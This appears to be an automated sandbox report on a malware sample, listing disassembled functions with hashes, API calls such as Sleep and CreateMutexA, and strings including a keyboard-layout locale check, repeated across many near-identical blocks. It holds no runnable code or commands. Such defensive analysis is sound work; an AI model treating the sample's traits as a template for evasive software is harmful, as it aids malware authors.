Instruction Fuzzy Hash: ABF09AAB24E118BCA14284922B689FB6A6EF1C3339331C926F483C1202F395264970B1

Function 004C5C10 Relevance: 12.7, APIs: 2, Strings: 5, Instructions: 434COMMON

Download Yara Rule

Strings

00000419, xrefs: 004C6098
0000043f, xrefs: 004C612B
Keyboard Layout\Preload, xrefs: 004C6054
00000423, xrefs: 004C60FA
00000422, xrefs: 004C60C9

Memory Dump Source

Source File: 00000005.00000002.1913877565.00000000004C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000005.00000002.1913856341.00000000004C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1913877565.0000000000522000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1913954864.0000000000529000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1913977071.000000000052B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1914003570.0000000000537000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1914127658.0000000000691000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1914162320.0000000000693000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1914190617.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1915462451.00000000006AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1915804955.00000000006AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1915804955.00000000006B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1916111137.00000000006BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1916344914.00000000006C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1916565883.00000000006CC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1916600058.00000000006D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1916692832.00000000006E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917179955.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917224109.0000000000715000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917262559.0000000000719000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917376962.000000000071A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917411970.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917449363.0000000000729000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917484910.000000000072B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917514669.000000000072C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917551700.0000000000731000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917583114.000000000073E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917618118.0000000000740000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917654049.0000000000749000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917685847.0000000000751000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917726413.0000000000759000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917756946.000000000075B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917793752.000000000076A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917824049.000000000076C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917864741.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917919293.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917919293.000000000079A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918014173.00000000007AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918042741.00000000007B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918068429.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918092583.00000000007B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918117120.00000000007C8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918150668.00000000007C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918189511.00000000007CA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918223592.00000000007CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918257986.00000000007D1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918292308.00000000007DF000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4c0000_0Y9DS4ACOZHRKTJZLIK3.jbxd

Yara matches

Similarity

API ID:
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 0-3963862150
Opcode ID: d9774e9fe6a3106db299849ab77a750a34ad79545ff372d6c1cd0abfb595e322
Instruction ID: 9d231e9d22b9226f8389bc1038fec0494cd04875818d3af1b4f92d0a2d7b187c
Opcode Fuzzy Hash: d9774e9fe6a3106db299849ab77a750a34ad79545ff372d6c1cd0abfb595e322
Instruction Fuzzy Hash: C1F1E6709002589BEB24DF54CD84BEEBBB5EF45304F50469EE508A73C1DB78AA84CF99

Function 004C9BA5 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 140
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 004CA963
CreateMutexA.KERNEL32(00000000,00000000,00523254), ref: 004CA981

Strings

T2R, xrefs: 004CA970

Memory Dump Source

Source File: 00000005.00000002.1913877565.00000000004C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000005.00000002.1913856341.00000000004C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1913877565.0000000000522000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1913954864.0000000000529000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1913977071.000000000052B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1914003570.0000000000537000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1914127658.0000000000691000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1914162320.0000000000693000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1914190617.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1915462451.00000000006AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1915804955.00000000006AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1915804955.00000000006B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1916111137.00000000006BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1916344914.00000000006C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1916565883.00000000006CC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1916600058.00000000006D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1916692832.00000000006E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917179955.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917224109.0000000000715000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917262559.0000000000719000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917376962.000000000071A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917411970.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917449363.0000000000729000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917484910.000000000072B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917514669.000000000072C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917551700.0000000000731000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917583114.000000000073E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917618118.0000000000740000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917654049.0000000000749000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917685847.0000000000751000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917726413.0000000000759000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917756946.000000000075B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917793752.000000000076A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917824049.000000000076C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917864741.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917919293.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917919293.000000000079A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918014173.00000000007AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918042741.00000000007B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918068429.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918092583.00000000007B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918117120.00000000007C8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918150668.00000000007C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918189511.00000000007CA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918223592.00000000007CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918257986.00000000007D1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918292308.00000000007DF000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4c0000_0Y9DS4ACOZHRKTJZLIK3.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2R
API String ID: 1464230837-4242619351
Opcode ID: 79a5aaa471c78476998e88e69edb76c5027f2b49cf3fa5099820879a84cb9a99
Instruction ID: b7ce666d49799987adc795b07cb09da056ea1740d993d5c1d706087957bee781
Opcode Fuzzy Hash: 79a5aaa471c78476998e88e69edb76c5027f2b49cf3fa5099820879a84cb9a99
Instruction Fuzzy Hash: 31316A75A002089BEB18DB6CDD8DB6EBB62AFC2318F20461EE114D73D5C77D9D80875A

Function 004C9F44 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 004CA963
CreateMutexA.KERNEL32(00000000,00000000,00523254), ref: 004CA981

Strings

T2R, xrefs: 004CA970

Memory Dump Source

Source File: 00000005.00000002.1913877565.00000000004C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000005.00000002.1913856341.00000000004C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1913877565.0000000000522000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1913954864.0000000000529000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1913977071.000000000052B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1914003570.0000000000537000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1914127658.0000000000691000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1914162320.0000000000693000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1914190617.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1915462451.00000000006AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1915804955.00000000006AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1915804955.00000000006B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1916111137.00000000006BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1916344914.00000000006C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1916565883.00000000006CC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1916600058.00000000006D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1916692832.00000000006E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917179955.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917224109.0000000000715000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917262559.0000000000719000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917376962.000000000071A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917411970.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917449363.0000000000729000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917484910.000000000072B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917514669.000000000072C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917551700.0000000000731000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917583114.000000000073E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917618118.0000000000740000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917654049.0000000000749000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917685847.0000000000751000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917726413.0000000000759000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917756946.000000000075B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917793752.000000000076A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917824049.000000000076C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917864741.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917919293.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917919293.000000000079A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918014173.00000000007AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918042741.00000000007B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918068429.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918092583.00000000007B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918117120.00000000007C8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918150668.00000000007C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918189511.00000000007CA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918223592.00000000007CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918257986.00000000007D1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918292308.00000000007DF000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4c0000_0Y9DS4ACOZHRKTJZLIK3.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2R
API String ID: 1464230837-4242619351
Opcode ID: 5c7f59d3e6311b22d584ccdfa42f60e8be202682510fd57a5694f33c127755b2
Instruction ID: 24f8669e76ed5721911616513415fa3a3cd11cafedbda2ee1c741e85520c6bc2
Opcode Fuzzy Hash: 5c7f59d3e6311b22d584ccdfa42f60e8be202682510fd57a5694f33c127755b2
Instruction Fuzzy Hash: 473168717001489BEB58DBACDD89BADBB62EBC2318F244B1EE014D73C5C77D9980875A

Function 004CA079 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 004CA963
CreateMutexA.KERNEL32(00000000,00000000,00523254), ref: 004CA981

Strings

T2R, xrefs: 004CA970

Memory Dump Source

Source File: 00000005.00000002.1913877565.00000000004C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000005.00000002.1913856341.00000000004C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1913877565.0000000000522000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1913954864.0000000000529000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1913977071.000000000052B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1914003570.0000000000537000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1914127658.0000000000691000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1914162320.0000000000693000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1914190617.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1915462451.00000000006AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1915804955.00000000006AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1915804955.00000000006B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1916111137.00000000006BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1916344914.00000000006C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1916565883.00000000006CC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1916600058.00000000006D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1916692832.00000000006E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917179955.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917224109.0000000000715000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917262559.0000000000719000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917376962.000000000071A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917411970.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917449363.0000000000729000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917484910.000000000072B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917514669.000000000072C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917551700.0000000000731000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917583114.000000000073E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917618118.0000000000740000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917654049.0000000000749000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917685847.0000000000751000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917726413.0000000000759000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917756946.000000000075B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917793752.000000000076A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917824049.000000000076C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917864741.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917919293.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917919293.000000000079A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918014173.00000000007AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918042741.00000000007B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918068429.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918092583.00000000007B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918117120.00000000007C8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918150668.00000000007C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918189511.00000000007CA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918223592.00000000007CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918257986.00000000007D1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918292308.00000000007DF000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4c0000_0Y9DS4ACOZHRKTJZLIK3.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2R
API String ID: 1464230837-4242619351
Opcode ID: c2cd35634dd2ddd15d5d4ca3e61e45656096e3cd1a364619788163a8a3609d98
Instruction ID: 4408753067df8f0a1d723efd94b8f55560dd4dfe203cb62f3356edecbb377e3f
Opcode Fuzzy Hash: c2cd35634dd2ddd15d5d4ca3e61e45656096e3cd1a364619788163a8a3609d98
Instruction Fuzzy Hash: 82314571A001088BEB18DBA8DD89B6DBB629B82318F24461EE114973D5CB7E9990865B

Function 004CA1AE Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 004CA963
CreateMutexA.KERNEL32(00000000,00000000,00523254), ref: 004CA981

Strings

T2R, xrefs: 004CA970

Memory Dump Source

Source File: 00000005.00000002.1913877565.00000000004C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000005.00000002.1913856341.00000000004C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1913877565.0000000000522000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1913954864.0000000000529000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1913977071.000000000052B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1914003570.0000000000537000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1914127658.0000000000691000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1914162320.0000000000693000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1914190617.00000000006AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1915462451.00000000006AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1915804955.00000000006AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1915804955.00000000006B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1916111137.00000000006BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1916344914.00000000006C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1916565883.00000000006CC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1916600058.00000000006D3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1916692832.00000000006E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917179955.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917224109.0000000000715000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917262559.0000000000719000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917376962.000000000071A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917411970.0000000000721000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917449363.0000000000729000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917484910.000000000072B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917514669.000000000072C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917551700.0000000000731000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917583114.000000000073E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917618118.0000000000740000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917654049.0000000000749000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917685847.0000000000751000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917726413.0000000000759000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917756946.000000000075B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917793752.000000000076A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917824049.000000000076C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917864741.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917919293.000000000077B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1917919293.000000000079A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918014173.00000000007AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918042741.00000000007B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918068429.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918092583.00000000007B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918117120.00000000007C8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918150668.00000000007C9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918189511.00000000007CA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918223592.00000000007CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918257986.00000000007D1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1918292308.00000000007DF000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4c0000_0Y9DS4ACOZHRKTJZLIK3.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2R
API String ID: 1464230837-4242619351
Opcode ID: 345ecc56d5a9ea03ad56708390b7d1ffae0b8240e4fffe4f7b40f10bee7be9f4
Instruction ID: 20974e03a4fff2ab1dcb5b188ac8d360c42c701b70cc5697d47703721c3b0bfe
Opcode Fuzzy Hash: 345ecc56d5a9ea03ad56708390b7d1ffae0b8240e4fffe4f7b40f10bee7be9f4
Instruction Fuzzy Hash: ED315771A001488BEB08DBACDD89F6DBB62ABC6318F24461EE014973D0C77E9990865A

Function 004CA418 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 004CA963
CreateMutexA.KERNEL32(00000000,00000000,00523254), ref: 004CA981

Strings

T2R, xrefs: 004CA970

Memory Dump Source

Source File: 00000005.00000002.1913877565.00000000004C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 004C0000, based on PE: true

Associated: 00000005.00000002.1913856341.00000000004C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1913877565.0000000000522000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1913954864.0000000000529000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.1913977071.000000000052B000.00000040.00000001.01000000.00000007.sdmpDownload File
